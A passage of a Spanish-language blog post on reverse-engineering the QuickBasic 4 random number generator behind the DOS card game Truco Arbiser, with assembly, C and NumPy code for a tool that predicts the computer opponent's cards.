<span class="c1">;MakeFloat -- make the number in [b$RndVar] into a R4</span>
<span class="c1">;</span>
<span class="c1">;Purpose:</span>
<span class="c1">; Get next random number in sequence.</span>
<span class="c1">;Entry:</span>
<span class="c1">; [b$RndVar] has the seed.</span>
<span class="c1">;Exit:</span>
<span class="c1">; [AX] = *B$AC which contains the R4 result</span>
<span class="c1">;Exceptions:</span>
<span class="c1">; none</span>
<span class="c1">;*******************************************************************************</span>
<span class="nf">cProc</span> <span class="nv">GetNextRnd</span><span class="p">,</span><span class="o"><</span><span class="nv">NEAR</span><span class="o">></span>
<span class="nf">cBegin</span>
<span class="nf">PUSH</span> <span class="nb">DI</span>
<span class="nf">MOV</span> <span class="nb">AX</span><span class="p">,[</span><span class="kt">WORD</span> <span class="nv">PTR</span> <span class="nv">b$RndVar</span><span class="p">]</span> <span class="c1">;low half of previous number</span>
<span class="nf">MOV</span> <span class="nb">CX</span><span class="p">,[</span><span class="nv">RndA</span><span class="p">]</span> <span class="c1">;low half of A</span>
<span class="nf">MUL</span> <span class="nb">CX</span>
<span class="nf">XCHG</span> <span class="nb">AX</span><span class="p">,</span><span class="nb">DI</span> <span class="c1">;save low half in DI</span>
<span class="nf">MOV</span> <span class="nb">BX</span><span class="p">,</span><span class="nb">DX</span> <span class="c1">; high half in BX</span>
<span class="nf">MOV</span> <span class="nb">AX</span><span class="p">,[</span><span class="kt">WORD</span> <span class="nv">PTR</span> <span class="nv">b$RndVar</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="c1">;high half of previous</span>
<span class="nf">MUL</span> <span class="nb">CX</span>
<span class="nf">ADD</span> <span class="nb">BX</span><span class="p">,</span><span class="nb">AX</span> <span class="c1">;sum partial products</span>
<span class="nf">MOV</span> <span class="nb">AX</span><span class="p">,[</span><span class="nv">RndA</span><span class="p">]</span>
<span class="nf">MUL</span> <span class="p">[</span><span class="kt">WORD</span> <span class="nv">PTR</span> <span class="nv">b$RndVar</span><span class="p">]</span>
<span class="nf">ADD</span> <span class="nb">BX</span><span class="p">,</span><span class="nb">AX</span> <span class="c1">;last partial product (since we're mod 2^24)</span>
<span class="nf">ADD</span> <span class="nb">DI</span><span class="p">,[</span><span class="nv">RndC</span><span class="p">]</span> <span class="c1">;add in constant C</span>
<span class="nf">ADC</span> <span class="nb">BL</span><span class="p">,</span><span class="kt">BYTE</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nv">RndC</span><span class="p">]</span>
<span class="nf">XOR</span> <span class="nb">BH</span><span class="p">,</span><span class="nb">BH</span> <span class="c1">;extended 24-bit number to 32 bits for NORM</span>
<span class="nf">MOV</span> <span class="nb">DX</span><span class="p">,</span><span class="nb">DI</span> <span class="c1">;number in BX:DX</span>
<span class="nf">MOV</span> <span class="p">[</span><span class="kt">WORD</span> <span class="nv">PTR</span> <span class="nv">b$RndVar</span><span class="p">],</span><span class="nb">DX</span> <span class="c1">;save for next time</span>
<span class="nf">MOV</span> <span class="p">[</span><span class="kt">WORD</span> <span class="nv">PTR</span> <span class="nv">b$RndVar</span><span class="o">+</span><span class="mi">2</span><span class="p">],</span><span class="nb">BX</span>
<span class="nf">POP</span> <span class="nb">DI</span>
<span class="nl">MakeFloat:</span>
<span class="nf">FILD</span> <span class="nv">b$RndVar</span> <span class="c1">; put 24-bit integer on numeric stack</span>
<span class="nf">FDIV</span> <span class="nv">FP_2T24</span> <span class="c1">; ST0 = seed/2^24</span>
<span class="nf">MOV</span> <span class="nb">BX</span><span class="p">,</span><span class="nv">OFFSET</span> <span class="nv">DGROUP</span><span class="p">:</span><span class="nv">B$AC</span>
<span class="nf">FSTP</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">BX</span><span class="p">]</span> <span class="c1">; put s.p. equivalent into FAC</span>
<span class="nf">XCHG</span> <span class="nb">AX</span><span class="p">,</span><span class="nb">BX</span> <span class="c1">; result is *R4 in AX</span>
<span class="nf">FWAIT</span> <span class="c1">; ensure result in RAM prior to return</span>
<span class="nf">cEnd</span> <span class="c1">; exit to caller</span>
</code></pre></div></div>
<p>¡Es la misma sección de código! Y es exactamente el <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a>.
No me puse a ver exactamente porque era que parte del runtime estaba en <code class="language-plaintext highlighter-rouge">.text</code> porque
asumí directamente que lo que estaba pasando es que no estaba saltando dentro del
mismo segmento sino que por un lado el módulo del <code class="language-plaintext highlighter-rouge">TRUCO.EXE</code> estaba en un segmento
y el <code class="language-plaintext highlighter-rouge">BRUN40.EXE</code> en otro.</p>
<p>El festejo no duró demasiado. Al identificar entonces donde estaba el <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a> entonces
corri un pequeño programa en <code class="language-plaintext highlighter-rouge">QB4</code> y su ejecutable, en ambos, no usando <code class="language-plaintext highlighter-rouge">RANDOMIZE</code> para
tener el mismo valor del <strong>seed</strong> en todas las ejecuciones.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>print rnd
print rnd
print rnd
print rnd
print rnd
</code></pre></div></div>
<p>Los resultados del intérprete <code class="language-plaintext highlighter-rouge">QB4</code> y los ejecutables que generaba el compilador
eran <strong>DISTINTOS</strong>. El por que de esto, demandaría otro artículo, asi que cuando vi esta diferencia,
me dediqué a trabajar solamente con los ejecutables compilados y no confiar en ningún resultado del intérprete QB.</p>
<p><img src="/assets/images/arbiser/qb_003.png" alt="rnd es el ejecutable - la segunda corrida es desde el interprete" title="rnd es el ejecutable - la segunda corrida es desde el interprete" class="img-responsive" /></p>
<p>Después de una larga pausa, continué implementando en C una librería para poder acceder con CTypes en Python
al <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">LCG</a> de <code class="language-plaintext highlighter-rouge">QB4</code>. La idea de tener esta sección separada de <code class="language-plaintext highlighter-rouge">QB4</code> era poder usar otros lenguajes para hacer experimentos
y entender bien que propiedades podia llegar a tener este <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a>.
La idea era poder usar <strong>Python</strong> en vez de <strong>Quick Basic</strong> para sacar ideas y propiedades de este <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">LCG</a> en particular.</p>
<p><img src="/assets/images/arbiser/prng_poc.png" alt="RND en RND.EXE y en mi implementación" class="img-responsive" /><em>El output en MSDOS y en mi implementación en C</em></p>
<p>Una nota de color, es que el <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a> lo había reverseado a mano, y la confirmación del screenshot de acá arriba
fue anterior al haber accedido al leak del MSDOS 6.0. Resulta ser que la fórmula que usaban para randomizar valores,
estaba en la cabecera del archivo como comentario. Yo contento, porque pude confirmar mi implementación de diferentes maneras
y saber que estaba perfecto.</p>
<p><img src="/assets/images/arbiser/truco_prediccion.png" alt="Predicción parcial" class="img-responsive" /></p>
<p>Más o menos, como que ya tengo el <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a> andando, estuve tratando de encontrar el seed.
Mi proceso fue durante un tiempo estar habiendo identificado donde estaba escribiéndose el valor del <strong>seed</strong>
del <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a> y verificar a mano cada <code class="language-plaintext highlighter-rouge">mano</code> el valor del <strong>seed</strong> en memoria, y correr un script en Python para
calcular la mano de la CPU.</p>
<p>Lo interesante es que funcionaba bárbaro y yo ya estaba que me publicaba encima, pero después de una o dos manos, como
que perdía la "sincronización" con el seed: A veces el programa decidía tocar una canción, escribir un texto o no hacer nada
y eso hacía avanzar las llamadas del <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">LCG</a>.
Pasé muchísimo tiempo debuggeando, o tratando de debuggear en cada caso cual era el número de veces que se avanzaba al siguiente <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a>
generado y, para el que haya tratado de debuggear en Intel 16 bits, sabrá lo difícil que es a veces seguir el código con tanto
cambio de segmento. Puaj.</p>
<p>Entonces, ya le podía leer las cartas parcialmente, pero a veces me "desincronizaba" y cada vez que hacía el seguimiento debuggeando,
le ponía muchísimas horas para no llegar a ninguna conclusión lo suficientemente fuerte, no podía darme cuenta de cual era la variación
de llamadas a la función <code class="language-plaintext highlighter-rouge">get_random</code> y lo abandoné por un tiempo, hasta que…</p>
<h1 id="pero-para-que-verga-tenés-una-pc-entonces">¿Pero para que verga tenés una PC, entonces?</h1>
<p>Discutiendo el problema del <a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a> con algunos amigos y contándoles mi frustración con el debugging,
les muestro esta sección de código del <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">LCG</a>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
# According to Microsoft, this is the linear congruential method for prng
# x1 = (x0 * a + c ) mod 2 ^ 24
#
# where
#
# x1 = new random number from [0 to 2^24]
# x0 = previous number (or seed, for the first one)
# a = 214013
# c = 2531011
# the random number returns a float
# x1 / 2^24
*/</span>
<span class="kt">float</span> <span class="nf">ms_rnd_formula</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="n">prev_rnd</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// a and c constant values are found at 021e:e020 as </span>
<span class="c1">// FD 43 03 00 => A </span>
<span class="c1">// C3 9E 26 00 => C</span>
<span class="kt">uint32_t</span> <span class="n">a</span> <span class="o">=</span> <span class="mi">214013</span><span class="p">;</span> <span class="c1">// 0x343fd</span>
<span class="kt">uint32_t</span> <span class="n">c</span> <span class="o">=</span> <span class="mi">2531011</span><span class="p">;</span> <span class="c1">// 0x269ec3</span>
<span class="kt">float</span> <span class="n">x1</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">p</span><span class="p">;</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">pow</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mi">24</span><span class="p">);</span>
<span class="n">x1</span> <span class="o">=</span> <span class="p">((</span><span class="o">*</span><span class="n">prev_rnd</span> <span class="o">*</span> <span class="n">a</span><span class="p">)</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span><span class="p">;</span>
<span class="o">*</span><span class="n">prev_rnd</span> <span class="o">=</span> <span class="n">x1</span><span class="p">;</span>
<span class="k">return</span> <span class="n">x1</span> <span class="o">/</span> <span class="n">p</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>A lo que uno me pregunta:</p>
<p>– ¿Por qué no <strong>precalculás</strong> todos los números random de un saque en vez de posicionarte con el seed en alguna parte y te vas fijando varios pasos adelante si las cartas de tu propia mano están o no en la siguiente mano?</p>
<p>– Porque son 2^24 elementos que tengo que estar calculando, son ~16 Millones de posibilidades y es un montón de cálculo y memoria… ¡para una máquina de los 80's!</p>
<h2 id="mulero">Mulero</h2>
<p><img src="/assets/images/arbiser/mulero.png" alt="Mulero TUI" class="img-responsive" /><em>La interfaz de texto de Mulero</em></p>
<h3 id="dándole-vueltas-y-vueltas-al-ciclo-del-lcg">Dándole vueltas y vueltas al ciclo del LCG</h3>
<p>El <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">LCG</a> de <code class="language-plaintext highlighter-rouge">QB4</code> como venimos diciendo una y otra vez tiene la forma:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>estado = (estado * A + C) mod 2^24
RND = estado / 2^24
</code></pre></div></div>
<p>Las constantes efectivas son <code class="language-plaintext highlighter-rouge">A = 0xfd43fd</code> y <code class="language-plaintext highlighter-rouge">C = 0xc39ec3</code>. Los comentarios de Microsoft dicen otra cosa porque el runtime carga la mitad baja de cada constante donde debería cargar la alta. El detalle está en el <a href="https://codeberg.org/toshi/mulero">README</a> del repositorio.</p>
<p>Revisando patrones de generadores de números random y sus problemas me topé entre varias cosas más, con el <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator#c_%E2%89%A0_0">teorema de Hull-Dobell</a> que dice
que un <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">LCG</a> con módulo <code class="language-plaintext highlighter-rouge">m</code> recorre <strong>todos</strong> sus <code class="language-plaintext highlighter-rouge">m</code> estados antes de repetirse si y solo si:</p>
<ol>
<li><code class="language-plaintext highlighter-rouge">C</code> y <code class="language-plaintext highlighter-rouge">m</code> son coprimos.</li>
<li><code class="language-plaintext highlighter-rouge">A - 1</code> es divisible por todos los primos que dividen a <code class="language-plaintext highlighter-rouge">m</code>.</li>
<li><code class="language-plaintext highlighter-rouge">A - 1</code> es divisible por 4 si <code class="language-plaintext highlighter-rouge">m</code> lo es.</li>
</ol>
<p>Acá <code class="language-plaintext highlighter-rouge">m = 2^24</code>, así que el único primo es 2 y las condiciones se reducen a <strong><code class="language-plaintext highlighter-rouge">C</code> impar</strong> y <strong><code class="language-plaintext highlighter-rouge">A ≡ 1 (mod 4)</code></strong>.
Las constantes cumplen las dos: <code class="language-plaintext highlighter-rouge">0xc3</code> es impar y <code class="language-plaintext highlighter-rouge">0xfd = 253 = 4*63 + 1</code>.</p>
<p>Esto significa que los <strong>16.777.216 estados</strong> forman <strong>un solo círculo</strong>. Cada estado ocupa una <em>posición</em> y recorrer el generador es caminar por ese círculo.
La "mano siguiente" es la posición actual <strong>más</strong> cierta cantidad de pasos, los que consumió el reparto más los que consumieron poemas, insultos y canciones.</p>
<p>En el momento de estar debuggeando, esta <strong>"ventana"</strong> de acciones (la seleccion de poemas, canciones del beeper e insultos)
era lo que, creo yo, me desincronizaba la posición en donde me encontraba y debuggear todos los casos dependiendo de un número
random que triggerea una cantidad arbitraria de llamadas a las funciones para obtener más números random se me tornó muy tediosa.
Esta otra solución que estoy planteando, me salva directamente de calcular la <strong>"cantidad"</strong> de llamadas a RND.</p>
<h3 id="tres-manos-na-má-v4r0n">Tres manos na' má' v4r0n!</h3>
<p>El estado tiene 24 bits de incertidumbre. Ver tres cartas distintas de 40 te da <code class="language-plaintext highlighter-rouge">log2(40*39*38) ≈ 15,9</code> bits de información, es decir, le saca 15,9 bits de entropía (incertidumbre) al estado<sup id="fnref:4"><a href="#fn:4" class="footnote" rel="footnote" role="doc-noteref">4</a></sup>.
Una mano sola no alcanza: hay <code class="language-plaintext highlighter-rouge">2^24 / (40*39*38) ≈ 283</code> posiciones compatibles.
Con una mano ganás ~15,9 bits. Las manos siguientes aportan bastante menos, porque la ventana <code class="language-plaintext highlighter-rouge">WINDOW</code> ya nos dice más o menos dónde caen y por esto,
con 3 manos nos alcanza.</p>
<p>Para unir las manos usamos una ventana.
La mano nueva tiene que arrancar a no más de <code class="language-plaintext highlighter-rouge">WINDOW = 1000</code> pasos de donde terminó la anterior.
Una candidata falsa tiene una probabilidad de <code class="language-plaintext highlighter-rouge">283 * 1000 / 2^24 ≈ 1,7 %</code> de cumplirlo por casualidad. En la tercera mano casi no sobrevive ninguna falsa.
La probabilidad es baja, pero no es igual a cero. Cada tanto usando a <a href="https://codeberg.org/toshi/mulero">Mulero</a> puede ser que estés jugando y de pronto haya varias manos en esa ventana
que cumplan con las condiciones, en ese caso, <a href="https://codeberg.org/toshi/mulero">Mulero</a> se da cuenta y te avisa que no hay un <strong>100%</strong> de certeza en ese momento de la partida y
solo basta con jugar una o dos manos más para “re-certerizarse” (?).</p>
<h3 id="numpy">numpy</h3>
<p>Para esto necesitamos una tabla de <strong>16 millones de entradas y un montón de comparaciones</strong>.
En Python puro cada vuelta de un <code class="language-plaintext highlighter-rouge">for</code> cuesta cierto tiempo de intérprete (chequear tipos, crear objetos <code class="language-plaintext highlighter-rouge">int</code> de ~28 bytes) haciendo todo un poco lento.
En <a href="https://numpy.org/doc/stable/">NumPy</a> los datos viven en un bloque contiguo de memoria con un tipo fijo (<code class="language-plaintext highlighter-rouge">uint8</code> ocupa 1 byte) y los <code class="language-plaintext highlighter-rouge">for</code> se ejecutan en C en vez de Python.
Escribir <code class="language-plaintext highlighter-rouge">a * x + c</code> sobre un array es hacer el <code class="language-plaintext highlighter-rouge">for</code> sin escribirlo. A eso se le llama <strong>vectorizar</strong>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">valor</span> <span class="o">=</span> <span class="n">ciclos</span><span class="p">[</span><span class="n">a</span> <span class="o">*</span> <span class="n">x</span> <span class="o">+</span> <span class="n">c</span><span class="p">]</span> <span class="c1"># ya está todo precalculado
</span></code></pre></div></div>
<h4 id="precalcular-el-círculo">Precalcular el círculo</h4>
<p>El problema es que cada estado depende del anterior, así que no parecería vectorizable.
La salida es el <strong>salto hacia adelante</strong> (<a href="https://mcnp.lanl.gov/pdf_files/Proceedings_1994_TotANS_Brown_202--203.pdf">jump-ahead</a>).
Un paso del LCG es una función lineal <code class="language-plaintext highlighter-rouge">f(x) = A*x + C</code>.
Componer dos funciones lineales da otra función lineal:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A*(a*x + c) + C = (A*a)*x + (A*c + C)
</code></pre></div></div>
<p>Entonces podemos calcular qué hace avanzar 4096 pasos de una sola vez:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ak</span><span class="p">,</span> <span class="n">ck</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">4096</span><span class="p">):</span>
<span class="n">ak</span> <span class="o">=</span> <span class="p">(</span><span class="n">ak</span> <span class="o">*</span> <span class="n">A</span><span class="p">)</span> <span class="o">&</span> <span class="n">MASK</span>
<span class="n">ck</span> <span class="o">=</span> <span class="p">(</span><span class="n">ck</span> <span class="o">*</span> <span class="n">A</span> <span class="o">+</span> <span class="n">C</span><span class="p">)</span> <span class="o">&</span> <span class="n">MASK</span>
<span class="c1"># ahora: estado[n + 4096] = ak * estado[n] + ck
</span></code></pre></div></div>
<p>Calculamos a mano el primer bloque de 4096 estados. Cada bloque siguiente sale del anterior con <strong>una sola operación sobre un array</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">state</span><span class="p">[</span><span class="n">b</span><span class="o">*</span><span class="mi">4096</span><span class="p">:(</span><span class="n">b</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="mi">4096</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">state</span><span class="p">[(</span><span class="n">b</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="mi">4096</span><span class="p">:</span><span class="n">b</span><span class="o">*</span><span class="mi">4096</span><span class="p">]</span> <span class="o">*</span> <span class="n">ak</span> <span class="o">+</span> <span class="n">ck</span><span class="p">)</span> <span class="o">&</span> <span class="n">MASK</span>
</code></pre></div></div>
<p>Son 4096 vueltas de Python más 4096 operaciones vectorizadas, en vez de 16 millones de vueltas.</p>
<p>Hay varios detalles de NumPy en esas líneas:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">& MASK</code> en vez de <code class="language-plaintext highlighter-rouge">% N</code>: como <code class="language-plaintext highlighter-rouge">N</code> es potencia de 2, <code class="language-plaintext highlighter-rouge">x mod 2^24</code> es igual a <code class="language-plaintext highlighter-rouge">x & (2^24 - 1)</code>. Es más rápido y solo funciona con potencias de 2.</li>
<li><code class="language-plaintext highlighter-rouge">dtype=np.uint64</code>: <code class="language-plaintext highlighter-rouge">estado * A</code> llega a valer ~2^48 y desbordaría un entero de 32 bits.</li>
<li><code class="language-plaintext highlighter-rouge">state[a:b]</code> es una <em>vista</em>, no una copia. Asignarle algo escribe en el array original.</li>
<li><code class="language-plaintext highlighter-rouge">np.empty</code> reserva memoria sin inicializarla, porque la vamos a llenar entera.</li>
</ul>
<h4 id="de-estado-a-carta">De estado a carta</h4>
<p>El Truco es un juego de 40 cartas en el mazo. El orden en que escribí y compuse el array para descular como hace <code class="language-plaintext highlighter-rouge">TRUCO.EXE</code> viene de como
se calcula la selección de cartas en el programa y el orden en que aparece en memoria.</p>
<p><a href="https://codeberg.org/toshi/mulero/src/branch/master/mulero.py#L35">https://codeberg.org/toshi/mulero/src/branch/master/mulero.py#L35</a>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># card stuff
# cards goes from 0..39 with suit*10 + index, where suit is 0..3 and index is 0..9
</span><span class="n">SUITS</span> <span class="o">=</span> <span class="sh">"</span><span class="s">eboc</span><span class="sh">"</span> <span class="c1"># suits are: e=espada, b=basto, o=oro, c=copa
</span><span class="n">SUITS_NAMES</span> <span class="o">=</span> <span class="p">[</span><span class="sh">"</span><span class="s">espada</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">basto</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">oro</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">copa</span><span class="sh">"</span><span class="p">]</span>
<span class="n">NUMBERS</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">12</span><span class="p">]</span>
</code></pre></div></div>
<p>Si se fijan en la función <a href="https://codeberg.org/toshi/mulero/src/branch/master/mulero.py#L56">lcg_table()</a> <code class="language-plaintext highlighter-rouge">INT(RND * 40)</code> es <code class="language-plaintext highlighter-rouge">floor(40 * estado / 2^24)</code>.
Dividir por <code class="language-plaintext highlighter-rouge">2^24</code> y truncar es correr 24 bits a la derecha, así que queda <code class="language-plaintext highlighter-rouge">(state * 40) >> 24</code>, un valor de 0 a 39.
Como <code class="language-plaintext highlighter-rouge">RND</code> primero avanza el estado y después devuelve, la carta de la posición <code class="language-plaintext highlighter-rouge">p</code> sale del estado <code class="language-plaintext highlighter-rouge">p+1</code>.
Eso lo resuelve <code class="language-plaintext highlighter-rouge">np.roll(cartas, -1)</code>, que desplaza el array con vuelta circular (el final se conecta con el principio, justo lo que necesita un círculo).</p>
<p>El resultado es <code class="language-plaintext highlighter-rouge">CARDS</code>, un array de 16 MB donde <code class="language-plaintext highlighter-rouge">CARDS[p]</code> es la carta que se repartiría en la posición <code class="language-plaintext highlighter-rouge">p</code>.</p>
<h4 id="buscar-la-mano">Buscar la mano</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">start</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">flatnonzero</span><span class="p">(</span><span class="n">CARDS</span> <span class="o">==</span> <span class="n">mi_primera_carta</span><span class="p">)</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">CARDS == x</code> genera un array de 16 millones de booleanos y <code class="language-plaintext highlighter-rouge">flatnonzero</code> devuelve los <strong>índices</strong> donde vale <code class="language-plaintext highlighter-rouge">True</code>.
Con una sola línea queda el 1/40 de las posiciones, unas 419 mil.</p>
<p>Después <code class="language-plaintext highlighter-rouge">deal()</code> simula el reparto de <strong>todas esas candidatas en paralelo</strong>.
Como el juego vuelve a tirar cuando sale una carta repetida, cada candidata necesita una cantidad distinta de tiradas.
Se resuelve con una lista <code class="language-plaintext highlighter-rouge">pend</code> de las que todavía necesitan carta:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">c</span> <span class="o">=</span> <span class="n">CARDS</span><span class="p">[</span><span class="n">pos</span><span class="p">[</span><span class="n">pend</span><span class="p">]</span> <span class="o">&</span> <span class="n">MASK</span><span class="p">]</span> <span class="c1"># fancy indexing: sacar muchos elementos de una
</span><span class="n">repeated</span> <span class="o">=</span> <span class="p">(</span><span class="n">hand</span><span class="p">[</span><span class="n">pend</span><span class="p">,</span> <span class="p">:</span><span class="n">k</span><span class="p">]</span> <span class="o">==</span> <span class="n">c</span><span class="p">[:,</span> <span class="bp">None</span><span class="p">]).</span><span class="nf">any</span><span class="p">(</span><span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>
<ul>
<li><strong>Fancy indexing</strong>: indexar un array con otro array de índices.</li>
<li><strong>Broadcasting</strong>: <code class="language-plaintext highlighter-rouge">hand[pend, :k]</code> tiene forma <code class="language-plaintext highlighter-rouge">(n, k)</code> y <code class="language-plaintext highlighter-rouge">c[:, None]</code> tiene forma <code class="language-plaintext highlighter-rouge">(n, 1)</code>. NumPy "estira" la columna y compara cada carta nueva contra las <code class="language-plaintext highlighter-rouge">k</code> ya repartidas.</li>
<li><code class="language-plaintext highlighter-rouge">.any(axis=1)</code> colapsa las columnas y responde "¿repitió alguna?" por cada fila.</li>
<li><code class="language-plaintext highlighter-rouge">~repeated</code> es la negación bit a bit. En arrays no se puede usar <code class="language-plaintext highlighter-rouge">not</code>.</li>
</ul>
<p>Después de cada una de las tres primeras cartas se descartan las candidatas que no coinciden con tu mano (<code class="language-plaintext highlighter-rouge">start = start[ok]</code>, una <strong>máscara booleana</strong>).
De 419 mil se pasa a unas ~283, y las cartas de la CPU se simulan solo para esas.</p>
<h4 id="encadenar-manos">Encadenar manos</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gap</span> <span class="o">=</span> <span class="p">(</span><span class="n">start</span><span class="p">[:,</span> <span class="bp">None</span><span class="p">]</span> <span class="o">-</span> <span class="n">prev_end</span><span class="p">[</span><span class="bp">None</span><span class="p">,</span> <span class="p">:])</span> <span class="o">&</span> <span class="n">MASK</span>
<span class="n">ok</span> <span class="o">=</span> <span class="p">(</span><span class="n">gap</span> <span class="o"><=</span> <span class="n">WINDOW</span><span class="p">).</span><span class="nf">any</span><span class="p">(</span><span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>
<p>Restar un vector columna <code class="language-plaintext highlighter-rouge">(n, 1)</code> y uno fila <code class="language-plaintext highlighter-rouge">(1, m)</code> da una matriz <code class="language-plaintext highlighter-rouge">(n, m)</code> con <strong>todas las diferencias de a pares</strong>, sin ningún <code class="language-plaintext highlighter-rouge">for</code>.
El <code class="language-plaintext highlighter-rouge">& MASK</code> sobre números negativos da el módulo correcto (la distancia circular).
El <code class="language-plaintext highlighter-rouge">.any(axis=1)</code> pregunta si esta candidata cae a menos de <code class="language-plaintext highlighter-rouge">WINDOW</code> pasos de <em>algún</em> final de la mano anterior.</p>
<p>Por último, <code class="language-plaintext highlighter-rouge">np.sort(cpu, axis=1)</code> ordena las cartas de cada mano candidata para que <code class="language-plaintext highlighter-rouge">{3, 7, 9}</code> y <code class="language-plaintext highlighter-rouge">{9, 3, 7}</code> cuenten como la misma,
y <code class="language-plaintext highlighter-rouge">np.unique(axis=0, return_counts=True)</code> agrupa las filas iguales y
cuenta cuántas veces aparece cada una. <strong>Si queda una sola mano posible, ya sabés qué tiene la CPU</strong>.</p>
<p>Ahora, bajate <a href="https://codeberg.org/toshi/mulero">Mulero</a> y ganale de una buena vez!</p>
<h1 id="código-fuente">Código fuente</h1>
<p><img src="/assets/images/arbiser/mulero-al-arbiser.png" alt="Mulero en acción" class="img-responsive" /><em>El Mulero en acción</em></p>
<p>El código fuente de Mulero lo podés descargar en el repositorio de Codeberg: <a href="https://codeberg.org/toshi/mulero">https://codeberg.org/toshi/mulero</a></p>
<h1 id="referencias">Referencias</h1>
<ul>
<li><a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a></li>
<li><a href="https://archive.org/stream/PC_Tech_Journal_vol06_n06/PC_Tech_Journal_vol06_n06_djvu.txt">PC Tech Journal Volume 06 Number 06 JUNE 1988</a></li>
<li><a href="https://ethanwiner.com/BTU_BOOK.PDF">BASIC Techniques and Utilities</a></li>
<li><a href="https://wiki.osdev.org/MZ">MZ File Structure</a></li>
<li><a href="http://sparksandflames.com/files/x86InstructionChart.html">x86 Instruction Chart</a></li>
<li><a href="https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf">Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 2 (2A, 2B, 2C & 2D): Instruction Set Reference, A-Z</a></li>
<li><a href="https://c9x.me/x86/">x86 Instruction Set Reference</a></li>
<li><a href="http://ref.x86asm.net/coder32.html">X86 Opcode and Instruction Reference Home</a></li>
<li><a href="https://www.h-schmidt.net/FloatConverter/IEEE754.html">IEEE-754 Online Floating Point Converter</a></li>
<li><a href="https://www.capstone-engine.org/">Capstone Engine</a></li>
<li><a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a></li>
<li><a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">LCG</a></li>
<li><a href="https://codeberg.org/toshi/mulero">README</a></li>
<li><a href="https://codeberg.org/toshi/mulero">Mulero</a></li>
<li><a href="https://numpy.org/doc/stable/">NumPy</a></li>
<li><a href="https://en.wikipedia.org/wiki/Linear_congruential_generator#c_%E2%89%A0_0">teorema de Hull-Dobell</a></li>
<li><a href="https://mcnp.lanl.gov/pdf_files/Proceedings_1994_TotANS_Brown_202--203.pdf">jump-ahead</a></li>
</ul>
<h1 id="notas-al-pie">Notas al pie</h1>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:3">
